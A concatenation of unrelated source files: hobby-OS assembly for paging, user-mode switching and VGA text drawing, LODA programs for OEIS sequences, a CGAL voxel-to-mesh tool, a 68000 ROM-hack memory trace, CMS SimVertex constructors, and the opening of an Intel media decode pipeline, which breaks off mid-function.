mov dword [PDT_BASE_TB + 8],PT_BASE_TB + 0x1000 + 0x17
mov dword [PDT_BASE_TB + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TB],0b8000h + 0x01
mov dword [PT_BASE_TB + 4], 0
mov dword [PT_BASE_TB + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TB + 0x44], 0
mov dword [PT_BASE_TB + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TB + 0x4C], 0
mov dword [PT_BASE_TB + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TB + 0x54], 0
mov dword [PT_BASE_TB + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TB + 0x5C], 0
mov dword [PT_BASE_TB + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TB + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TB + 0x70 ],0xE000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TB + 0x74], 0
ret
;********************************************************************************************************
;Inicializacion de tablas para la Tarea C
;********************************************************************************************************
Task_C_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TC],PDPT_BASE_TC + 0x17
mov dword [PML4_BASE_TC + 4], 0
mov dword [PDPT_BASE_TC],PDT_BASE_TC + 0x17
mov dword [PDPT_BASE_TC + 4], 0
mov dword [PDT_BASE_TC],PT_BASE_TC + 0x17
mov dword [PDT_BASE_TC + 4], 0
mov dword [PDT_BASE_TC + 8],PT_BASE_TC + 0x1000 + 0x17
mov dword [PDT_BASE_TC + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TC],0b8000h + 0x01
mov dword [PT_BASE_TC + 4], 0
mov dword [PT_BASE_TC + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TC + 0x44], 0
mov dword [PT_BASE_TC + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TC + 0x4C], 0
mov dword [PT_BASE_TC + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TC + 0x54], 0
mov dword [PT_BASE_TC + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TC + 0x5C], 0
mov dword [PT_BASE_TC + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TC + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TC + 0x78 ],0xF000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TC + 0x7C], 0
ret
;********************************************************************************************************
;Inicializacion de tablas para la Tarea D
;********************************************************************************************************
Task_D_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TD],PDPT_BASE_TD + 0x17
mov dword [PML4_BASE_TD + 4], 0
mov dword [PDPT_BASE_TD],PDT_BASE_TD + 0x17
mov dword [PDPT_BASE_TD + 4], 0
mov dword [PDT_BASE_TD],PT_BASE_TD + 0x17
mov dword [PDT_BASE_TD + 4], 0
mov dword [PDT_BASE_TD + 8],PT_BASE_TD + 0x1000 + 0x17
mov dword [PDT_BASE_TD + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TD],0b8000h + 0x01
mov dword [PT_BASE_TD + 4], 0
mov dword [PT_BASE_TD + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TD + 0x44], 0
mov dword [PT_BASE_TD + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TD + 0x4C], 0
mov dword [PT_BASE_TD + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TD + 0x54], 0
mov dword [PT_BASE_TD + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TD + 0x5C], 0
mov dword [PT_BASE_TD + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TD + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TD + 0x80 ],0x10000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TD + 0x84], 0
ret
;********************************************************************************************************
;Inicializacion de tablas para la Tarea E
;********************************************************************************************************
Task_E_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TE],PDPT_BASE_TE + 0x17
mov dword [PML4_BASE_TE + 4], 0
mov dword [PDPT_BASE_TE],PDT_BASE_TE + 0x17
mov dword [PDPT_BASE_TE + 4], 0
mov dword [PDT_BASE_TE],PT_BASE_TE + 0x17
mov dword [PDT_BASE_TE + 4], 0
mov dword [PDT_BASE_TE + 8],PT_BASE_TE + 0x1000 + 0x17
mov dword [PDT_BASE_TE + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TE],0b8000h + 0x01
mov dword [PT_BASE_TE + 4], 0
mov dword [PT_BASE_TE + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TE + 0x44], 0
mov dword [PT_BASE_TE + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TE + 0x4C], 0
mov dword [PT_BASE_TE + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TE + 0x54], 0
mov dword [PT_BASE_TE + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TE + 0x5C], 0
mov dword [PT_BASE_TE + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TE + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TE + 0x88 ],0x11000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TE + 0x8C], 0
ret
;********************************************************************************************************
;Inicializacion de tablas para la Tarea F
;********************************************************************************************************
Task_F_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TF],PDPT_BASE_TF + 0x17
mov dword [PML4_BASE_TF + 4], 0
mov dword [PDPT_BASE_TF],PDT_BASE_TF + 0x17
mov dword [PDPT_BASE_TF + 4], 0
mov dword [PDT_BASE_TF],PT_BASE_TF + 0x17
mov dword [PDT_BASE_TF + 4], 0
mov dword [PDT_BASE_TF + 8],PT_BASE_TF + 0x1000 + 0x17
mov dword [PDT_BASE_TF + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TF],0b8000h + 0x01
mov dword [PT_BASE_TF + 4], 0
mov dword [PT_BASE_TF + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TF + 0x44], 0
mov dword [PT_BASE_TF + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TF + 0x4C], 0
mov dword [PT_BASE_TF + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TF + 0x54], 0
mov dword [PT_BASE_TF + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TF + 0x5C], 0
mov dword [PT_BASE_TF + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TF + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TF + 0x90 ],0x12000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TF + 0x94], 0
ret
|
%include "lib.asm"
global str_ncpy
global _start
section .code
;;; palindrome(str1)
palindrome:
enter 0,0
push edi
push esi
mov esi, DWORD [EBP+8] ; load str1 pointer
mov edi, esi
dec edi
.edi2end:
inc edi
cmp [edi], byte 0
jne .edi2end
;dec edi ; edi is on last char
dec esi ; fake for first ittr
.detector:
.detector_left:
inc esi
cmp esi, edi
ja .detector_eq
mov al, [esi]
cmp al, ' '
je .detector_left
cmp al, '!'
je .detector_left
cmp al, '.'
je .detector_left
cmp al, ','
je .detector_left
cmp al, '9'
jnbe .detector_left_wrd
cmp al, '0'
jnae .detector_err
jmp .detector_left_done
.detector_left_wrd:
cmp al, 'Z'
jnbe .detector_left_sml
sub al, 'Z'-'z'
.detector_left_sml:
cmp al, 'a'
jnae .detector_err
cmp al, 'z'
jnbe .detector_err
.detector_left_done:
.detector_right:
dec edi
cmp edi, esi
jb .detector_eq
mov ah, [edi]
cmp ah, ' '
je .detector_right
cmp ah, '!'
je .detector_right
cmp ah, '.'
je .detector_right
cmp ah, ','
je .detector_right
cmp ah, '9'
jnbe .detector_right_wrd
cmp ah, '0'
jnae .detector_err
jmp .detector_right_done
.detector_right_wrd:
cmp ah, 'Z'
jnbe .detector_right_sml
sub ah, 'Z'-'z'
.detector_right_sml:
cmp ah, 'a'
jnae .detector_err
cmp ah, 'z'
jnbe .detector_err
.detector_right_done:
cmp al,ah
je .detector
.detector_neq:
mov eax, 0
clc ; no error
jmp .detector_done
.detector_eq:
mov eax, 1
clc ; no error
jmp .detector_done
.detector_err:
mov eax, 0
stc ; has error
.detector_done:
pop esi
pop edi
leave
ret 4
_start:
enter 0,0
fgets buffer, 1000
push DWORD buffer
call palindrome
jnc .print
puts MSG_ERR
leave
ret
.print:
i2a eax, buffer
puts buffer
leave
ret
CRLF db `\n\0`
MSG_ERR db `error\n\0`
section .bss
buffer resb 1000
|
global switch_to_user_mode
extern user_base
extern _user
section .text
bits 64
switch_to_user_mode:
mov rcx, _user
o64 mov r11, 0x0202
o64 sysret
|
; A130727: List of triples 2n+1, 2n+3, 2n+2.
; 1,3,2,3,5,4,5,7,6,7,9,8,9,11,10,11,13,12,13,15,14,15,17,16,17,19,18,19,21,20,21,23,22,23,25,24,25,27,26,27,29,28,29,31,30,31,33,32,33,35,34,35,37,36,37,39,38,39,41,40,41,43,42,43,45,44,45,47,46,47,49,48,49,51
add $0,2
mov $2,$0
mov $3,$0
lpb $2
trn $2,2
mov $1,$2
trn $2,1
sub $3,1
add $1,$3
lpe
|
#include <cstdio>
#include <map>
#include <vector>
#include <CGAL/Exact_predicates_inexact_constructions_kernel.h>
#include <CGAL/Image_3.h>
typedef CGAL::Exact_predicates_inexact_constructions_kernel Kernel;
typedef Kernel::Point_3 Point_3;
int idx(Point_3 p,
std::vector<Point_3> &V,
std::map<Point_3, int> &V_idx) {
// Hasn't been inserted yet. 0 is an invalid index.
if (V_idx[p] == 0) {
V.push_back(p);
V_idx[p] = V.size();
}
return V_idx[p];
}
int main(int argc, char** argv) {
if (argc < 4) {
fprintf(stderr, "Usage: %s input_image.inr output_mesh.obj isovalue\n", argv[0]);
return -1;
}
const char* input_image_filename = argv[1];
const char* output_mesh_filename = argv[2];
double isovalue = atof(argv[3]);
CGAL::Image_3 image;
if (!image.read(input_image_filename)) {
fprintf(stderr, "CGAL failed to read image file \"%s\".\n", input_image_filename);
return -1;
}
fprintf(stderr, "Creating minecraft image...\n");
std::map<Point_3, int> V_idx;
std::vector<Point_3> V;
std::vector<std::vector<int> > F;
double vx = image.vx();
double vy = image.vy();
double vz = image.vz();
for (int i = 1; i < image.xdim(); ++i) {
for (int j = 1; j < image.ydim(); ++j) {
for (int k = 1; k < image.zdim(); ++k) {
// If the value is *greater* than the isovalue, add it and all its neighbors
if (image.value(i, j, k) > isovalue) {
// All 8 corners
std::vector<int> idc;
idc.push_back(idx(Point_3(i*vx, j*vy, k*vz), V, V_idx));
idc.push_back(idx(Point_3(i*vx, j*vy, (k-1)*vz), V, V_idx));
idc.push_back(idx(Point_3(i*vx, (j-1)*vy, (k-1)*vz), V, V_idx));
idc.push_back(idx(Point_3(i*vx, (j-1)*vy, k*vz), V, V_idx));
idc.push_back(idx(Point_3((i-1)*vx, j*vy, k*vz), V, V_idx));
idc.push_back(idx(Point_3((i-1)*vx, j*vy, (k-1)*vz), V, V_idx));
idc.push_back(idx(Point_3((i-1)*vx, (j-1)*vy, (k-1)*vz), V, V_idx));
idc.push_back(idx(Point_3((i-1)*vx, (j-1)*vy, k*vz), V, V_idx));
// All 6 faces, 2 triangles for each face.
F.push_back({idc[0], idc[1], idc[2]}); // left
F.push_back({idc[0], idc[2], idc[3]}); // left
F.push_back({idc[4], idc[5], idc[6]}); // right
F.push_back({idc[4], idc[6], idc[7]}); // right
F.push_back({idc[0], idc[1], idc[5]}); // front
F.push_back({idc[0], idc[5], idc[4]}); // front
F.push_back({idc[2], idc[3], idc[7]}); // back
F.push_back({idc[2], idc[7], idc[6]}); // back
F.push_back({idc[0], idc[3], idc[7]}); // top
F.push_back({idc[0], idc[7], idc[4]}); // top
F.push_back({idc[1], idc[2], idc[6]}); // bottom
F.push_back({idc[1], idc[6], idc[5]}); // bottom
}
}
}
}
printf("Removing unnecessary vertices and faces...\n");
printf(" - sorting faces...\n");
// Sort the faces. If there's a duplicate face, remove the row.
std::sort(F.begin(), F.end(),
[](const std::vector<int> &a, const std::vector<int> &b) {
std::vector<int> a2 = a, b2 = b;
sort(a2.begin(), a2.end());
sort(b2.begin(), b2.end());
if (a2[0] != b2[0]) return a2[0] < b2[0];
if (a2[1] != b2[1]) return a2[1] < b2[1];
if (a2[2] != b2[2]) return a2[2] < b2[2];
});
// Remove duplicate faces. Keep track of unique ones.
std::vector<bool> unique(F.size(), true);
std::vector<bool> named_V(V.size(), false);
printf(" - checking for duplicates...\n");
int removed = 0;
for (int i = 1; i < F.size(); ++i) {
std::vector<int> f1 = F[i], f2 = F[i-1];
sort(f1.begin(), f1.end()); sort(f2.begin(), f2.end());
if ( (f1[0] == f2[0]) &&
(f1[1] == f2[1]) &&
(f1[2] == f2[2]) ) {
// Can remove both faces that are duplicated
unique[i] = unique[i-1] = false;
removed += 2;
}
}
// See which vertices are referenced.
for (int i = 0; i < F.size(); ++i) {
if (unique[i]) {
named_V[F[i][0] - 1] = true;
named_V[F[i][1] - 1] = true;
named_V[F[i][2] - 1] = true;
}
}
printf(" - changing vertex indices...\n");
// Get the new indices (ignoring unreferenced vertices)
std::vector<int> new_v_idx(V.size() + 1, -1);
int count = 0;
for (int i = 0; i < V.size(); ++i) {
if (named_V[i]) {
// Faces are 1-based indices.
new_v_idx[i + 1] = ++count;
}
}
// Change the values for F to the new vertex indices.
for (int i = 0; i < F.size(); ++i) {
F[i][0] = new_v_idx[F[i][0]];
F[i][1] = new_v_idx[F[i][1]];
F[i][2] = new_v_idx[F[i][2]];
}
printf("Number of duplicates removed: %df, %dv\n", removed, V.size() - count);
printf("Finished! Writing output\n");
FILE* of = fopen(output_mesh_filename, "w");
for (int i = 0; i < V.size(); ++i) {
if (named_V[i]) {
fprintf(of, "v %lf %lf %lf\n",
V[i].x(), V[i].y(), V[i].z());
}
}
for (int i = 0; i < F.size(); ++i) {
if (unique[i]) {
fprintf(of, "f %d %d %d\n",
F[i][0], F[i][1], F[i][2]);
}
}
fclose(of);
}
|
; A001899: Number of divisors of n of form 5k+4; a(0) = 0.
; 0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,2,0,0,1,2,1,0,0,1,0,1,0,2,0,1,1,1,0,1,0,2,1,0,0,2,1,0,0,1,0,2,0,2,1,1,1,1,0,0,1,2,0,0,0,2,1,1,0,3,0,1,0,2,0,1,1,1,1,0,0,3,0,0,1,2,1,1,0,1,0,1,1,2,0,2,2
mov $2,$0
lpb $0
max $0,1
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
mov $4,1
lpb $4
add $1,1
add $4,$3
mod $4,5
lpe
lpe
mov $0,$1
|
copyright zengfr site:http://github.com/zengfr/romhack
007128 tst.b ($4d5,A5)
00712C bne $71fc
00731C tst.b ($4d5,A5) [123p+ B1]
007320 bne $732c
0074EC tst.b ($4d5,A5)
0074F0 bne $7560
007D8E tst.b ($4d5,A5)
007D92 bne $7dd8
007E78 tst.b ($4d5,A5)
007E7C bne $7f46
007EE8 tst.b ($4d5,A5)
007EEC bne $7f46
007F86 tst.b ($4d5,A5)
007F8A beq $7f90 [base+4D5]
008206 tst.b ($4d5,A5)
00820A beq $822c [base+4D5]
0082E8 tst.b ($4d5,A5)
0082EC beq $82f2 [base+4D5]
00A8A2 move.b #$1, ($9,A0) [base+4CC]
00A8A8 move.b #$1, ($a,A0) [base+4D5]
00ACFA move.b #$1, ($4d5,A5) [base+4D6]
00AD00 move.w A6, ($4e0,A5) [base+4D5]
00CA9A move.b #$1, ($4d5,A5) [base+6C4]
00CAA0 rts [base+4D5]
00CCF4 clr.b ($4d5,A5)
00CCF8 jmp $7562.l [base+4D5]
0100DA tst.b ($4d5,A5)
0100DE bne $10162 [base+4D5]
01039A tst.b ($4d5,A5)
01039E bne $103f8 [base+4D5]
0103FE tst.b ($4d5,A5)
010402 bne $10468 [base+4D5]
012CEA tst.b ($4d5,A5)
012CEE bne $12cf6 [base+4D5]
0186DC tst.b ($4d5,A5)
0186E0 bne $187b6 [base+4D5]
019694 tst.b ($4d5,A5) [123p+ EE]
019698 bne $196a2 [base+4D5]
04E67C tst.b ($4d5,A5)
04E680 bne $4e6ae
04EA96 tst.b ($4d5,A5)
04EA9A bne $4ead4
07BC04 tst.b ($4d5,A5)
07BC08 bne $7bc0e [base+4D5]
07BC2E tst.b ($4d5,A5)
07BC32 beq $7bc46
08BDC2 move.b #$1, ($4d5,A5) [etc+76]
08BDC8 move.b #$1, ($4db,A5) [base+4D5]
08C092 clr.b ($4d5,A5) [etc+ 4]
08C096 clr.b ($4db,A5) [base+4D5]
copyright zengfr site:http://github.com/zengfr/romhack
|
; AtriumOS display routines
; Copyright (c) 2017-2021 Mislav Bozicevic
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; * Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
[bits 64]
; Example for 'A':
; 0 1 2 3 4 5 6 7
; 0 . . . X X . . . = 0x18
; 1 . . X X X X . . = 0x3c
; 2 . X X . . X X . = 0x66
; 3 . X X . . X X . = 0x66
; 4 . X X X X X X . = 0x7e
; 5 . X X X X X X . = 0x7e
; 6 . X X . . X X . = 0x66
; 7 . X X . . X X . = 0x66
; Little-endian 64-bit:
; 0x66667e7e66663c18
bitmap:
.A: dq 0x66667e7e66663c18
.t: dq 0x183c0c0c3e3e0c0c
.r: dq 0x0c0c0c3c7c6c0000
.i: dq 0x1818181818001818
.u: dq 0xbce6c2c2c2c20000
.m: dq 0x5656567e7e560000
.O: dq 0x187e664242667e18
.S: dq 0x7ceec0f80e06ee7c
; Draws the 8x8 bitmap.
; Input:
; R8 - bitmap to draw
; R9 - x coordinate (0 ... 319 - 8, screen width)
; R10 - y coordinate (0 ... 199 - 8, screen hight)
; R11 - foreground color (0 ... 255)
; R12 - background color (0 ... 255)
draw:
; save environment
pushfq
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push rdx
push rcx
push rax
push rdi
; normalize parameters to expected range
cmp r9, 311
jbe short .r9_ok
mov r9, 311
.r9_ok:
cmp r10, 191
jbe short .r10_ok
mov r10, 191
.r10_ok:
mov rax, 0xff
and r11, rax
and r12, rax
; r13 is used as the indicator which bit to test
xor r13, r13
; rdx is added to y, as we draw row by row
xor rdx, rdx
mov rcx, 64
.test_color:
; foreground or background color?
bt r8, r13
jc short .foreground
mov rax, r12
jmp short .draw_pixel
.foreground:
mov rax, r11
jmp short .draw_pixel
.draw_pixel:
; rdi = 0xa0000 + y * 320 + x
; = 0xa0000 + y * 256 + y * 64 + x
; = 0xa0000 + y << 8 + y << 6 + x
mov rdi, 0xa0000
mov r14, r10
add r14, rdx
shl r14, 8
add rdi, r14
mov r14, r10
add r14, rdx
shl r14, 6
add rdi, r14
add rdi, r9
; r13 % 8 is added to x, as we draw column by column
mov r15, r13
and r15, 0x7
add rdi, r15
stosb
inc r13
mov r15, r13
and r15, 0x7
; if r13 % 8 == 0, increment y
test r15, r15
jnz short .y_unchanged
inc rdx
.y_unchanged:
loop .test_color
; restore environment
pop rdi
pop rax
pop rcx
pop rdx
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
popfq
ret
|
; A081903: A sequence related to binomial(n+5, 5).
; Submitted by Jon Maiga
; 1,10,85,660,4830,33876,230030,1522400,9866375,62828750,394146875,2440812500,14944687500,90590625000,544242187500,3243437500000,19189111328125,112777832031250,658804931640625,3827075195312500,22117736816406250,127216186523437500,728480529785156250,4154296875000000000,23599224090576171875,133574485778808593750,753476619720458984375,4236650466918945312500,23749828338623046875000,132756233215332031250000,740067958831787109375000,4115009307861328125000000,22824861109256744384765625
mov $1,1
mov $2,1
mov $3,$0
mov $0,5
mov $4,1
lpb $3
add $0,1
mul $1,$3
mul $1,$0
mul $2,4
sub $3,1
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
|
#include "SimDataFormats/Vertex/interface/SimVertex.h"
SimVertex::SimVertex() : itrack(-1), vtxId(0), procType(0) {}
SimVertex::SimVertex(const math::XYZVectorD& v, float tof) : Core(v, tof), itrack(-1), vtxId(0), procType(0) {}
SimVertex::SimVertex(const math::XYZVectorD& v, float tof, int it) : Core(v, tof), itrack(it), vtxId(0), procType(0) {}
SimVertex::SimVertex(const CoreSimVertex& v, int it) : Core(v), itrack(it), vtxId(0), procType(0) {}
SimVertex::SimVertex(const math::XYZVectorD& v, float tof, unsigned int vId)
: Core(v, tof), itrack(-1), vtxId(vId), procType(0) {}
SimVertex::SimVertex(const math::XYZVectorD& v, float tof, int it, unsigned int vId)
: Core(v, tof), itrack(it), vtxId(vId), procType(0) {}
SimVertex::SimVertex(const CoreSimVertex& v, int it, unsigned int vId) : Core(v), itrack(it), vtxId(vId), procType(0) {}
std::ostream& operator<<(std::ostream& o, const SimVertex& v) {
return o << (SimVertex::Core)(v) << ", " << v.parentIndex() << ", " << v.vertexId();
}
|
/*
* Copyright (c) 2018-2021, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
//!
//! \file decode_pipeline.cpp
//! \brief Defines the common interface for decode pipeline
//! \details The decode pipeline interface is further sub-divided by codec standard,
//! this file is for the base interface which is shared by all codecs.
//!
#include "decode_pipeline.h"
#include "decode_utils.h"
#include "decode_status_report.h"
#include "media_packet.h"
#include "decode_predication_packet.h"
#include "decode_marker_packet.h"
#include "decode_downsampling_packet.h"
#include "codechal_setting.h"
#include "decode_basic_feature.h"
#include "mos_solo_generic.h"
#include "decode_sfc_histogram_postsubpipeline.h"
#include "decode_common_feature_defs.h"
namespace decode {
DecodePipeline::DecodePipeline(
CodechalHwInterface *hwInterface,
CodechalDebugInterface *debugInterface):
MediaPipeline(hwInterface ? hwInterface->GetOsInterface() : nullptr)
{
DECODE_FUNC_CALL();
DECODE_ASSERT(hwInterface != nullptr);
m_hwInterface = hwInterface;
m_singleTaskPhaseSupported =
ReadUserFeature(__MEDIA_USER_FEATURE_VALUE_SINGLE_TASK_PHASE_ENABLE_ID, m_osInterface ? m_osInterface->pOsContext : nullptr).i32Data ? true : false;
CODECHAL_DEBUG_TOOL(
DECODE_ASSERT(debugInterface != nullptr);
m_debugInterface = debugInterface;
);
}
MOS_STATUS DecodePipeline::CreateStatusReport()
{
m_statusReport = MOS_New(DecodeStatusReport, m_allocator, true);
DECODE_CHK_NULL(m_statusReport);
DECODE_CHK_STATUS(m_statusReport->Create());
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::CreatePreSubPipeLines(DecodeSubPipelineManager &subPipelineManager)
{
m_bitstream = MOS_New(DecodeInputBitstream, this, m_task, m_numVdbox);
DECODE_CHK_NULL(m_bitstream);
DECODE_CHK_STATUS(subPipelineManager.Register(*m_bitstream));
m_streamout = MOS_New(DecodeStreamOut, this, m_task, m_numVdbox);
DECODE_CHK_NULL(m_streamout);
DECODE_CHK_STATUS(subPipelineManager.Register(*m_streamout));
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::CreatePostSubPipeLines(DecodeSubPipelineManager &subPipelineManager)
{
DECODE_FUNC_CALL();
#ifdef _DECODE_PROCESSING_SUPPORTED
auto sfcHistogramPostSubPipeline = MOS_New(DecodeSfcHistogramSubPipeline, this, m_task, m_numVdbox);
DECODE_CHK_NULL(sfcHistogramPostSubPipeline);
DECODE_CHK_STATUS(m_postSubPipeline->Register(*sfcHistogramPostSubPipeline));
#endif
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::CreateSubPipeLineManager(CodechalSetting* codecSettings)
{
m_preSubPipeline = MOS_New(DecodeSubPipelineManager, *this);
DECODE_CHK_NULL(m_preSubPipeline);
DECODE_CHK_STATUS(CreatePreSubPipeLines(*m_preSubPipeline));
DECODE_CHK_STATUS(m_preSubPipeline->Init(*codecSettings));
m_postSubPipeline = MOS_New(DecodeSubPipelineManager, *this);
DECODE_CHK_NULL(m_postSubPipeline);
DECODE_CHK_STATUS(CreatePostSubPipeLines(*m_postSubPipeline));
DECODE_CHK_STATUS(m_postSubPipeline->Init(*codecSettings));
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::CreateSubPackets(DecodeSubPacketManager& subPacketManager, CodechalSetting &codecSettings)
{
DecodePredicationPkt *predicationPkt = MOS_New(DecodePredicationPkt, this, m_hwInterface);
DECODE_CHK_NULL(predicationPkt);
DECODE_CHK_STATUS(subPacketManager.Register(
DecodePacketId(this, predicationSubPacketId), *predicationPkt));
DecodeMarkerPkt *markerPkt = MOS_New(DecodeMarkerPkt, this, m_hwInterface);
DECODE_CHK_NULL(markerPkt);
DECODE_CHK_STATUS(subPacketManager.Register(
DecodePacketId(this, markerSubPacketId), *markerPkt));
return MOS_STATUS_SUCCESS;
}
DecodeSubPacket* DecodePipeline::GetSubPacket(uint32_t subPacketId)
{
return m_subPacketManager->GetSubPacket(subPacketId);
}
MOS_STATUS DecodePipeline::CreateSubPacketManager(CodechalSetting* codecSettings)
{
DECODE_CHK_NULL(codecSettings);
m_subPacketManager = MOS_New(DecodeSubPacketManager);
DECODE_CHK_NULL(m_subPacketManager);
DECODE_CHK_STATUS(CreateSubPackets(*m_subPacketManager, *codecSettings));
DECODE_CHK_STATUS(m_subPacketManager->Init());
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::Initialize(void *settings)
{
DECODE_FUNC_CALL();
DECODE_CHK_NULL(settings);
DECODE_CHK_STATUS(MediaPipeline::InitPlatform());
DECODE_CHK_STATUS(MediaPipeline::CreateMediaCopy());
DECODE_CHK_NULL(m_waTable);
auto *codecSettings = (CodechalSetting*)settings;
DECODE_CHK_NULL(m_hwInterface);
DECODE_CHK_STATUS(m_hwInterface->Initialize(codecSettings));
m_mediaContext = MOS_New(MediaContext, scalabilityDecoder, m_hwInterface, m_osInterface);
DECODE_CHK_NULL(m_mediaContext);
m_task = CreateTask(MediaTask::TaskType::cmdTask);
DECODE_CHK_NULL(m_task);
m_numVdbox = GetSystemVdboxNumber();
m_allocator = MOS_New(DecodeAllocator, m_osInterface);
DECODE_CHK_NULL(m_allocator);
DECODE_CHK_STATUS(CreateStatusReport());
m_decodecp = Create_DecodeCpInterface(codecSettings, m_hwInterface);
if (m_decodecp)
{
m_decodecp->RegisterParams(codecSettings);
}
DECODE_CHK_STATUS(CreateFeatureManager());
DECODE_CHK_STATUS(m_featureManager->Init(codecSettings));
DECODE_CHK_STATUS(CreateSubPipeLineManager(codecSettings));
DECODE_CHK_STATUS(CreateSubPacketManager(codecSettings));
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::Uninitialize()
{
DECODE_FUNC_CALL();
Delete_DecodeCpInterface(m_decodecp);
m_decodecp = nullptr;
MOS_Delete(m_mediaContext);
MOS_Delete(m_statusReport);
MOS_Delete(m_featureManager);
MOS_Delete(m_preSubPipeline);
MOS_Delete(m_postSubPipeline);
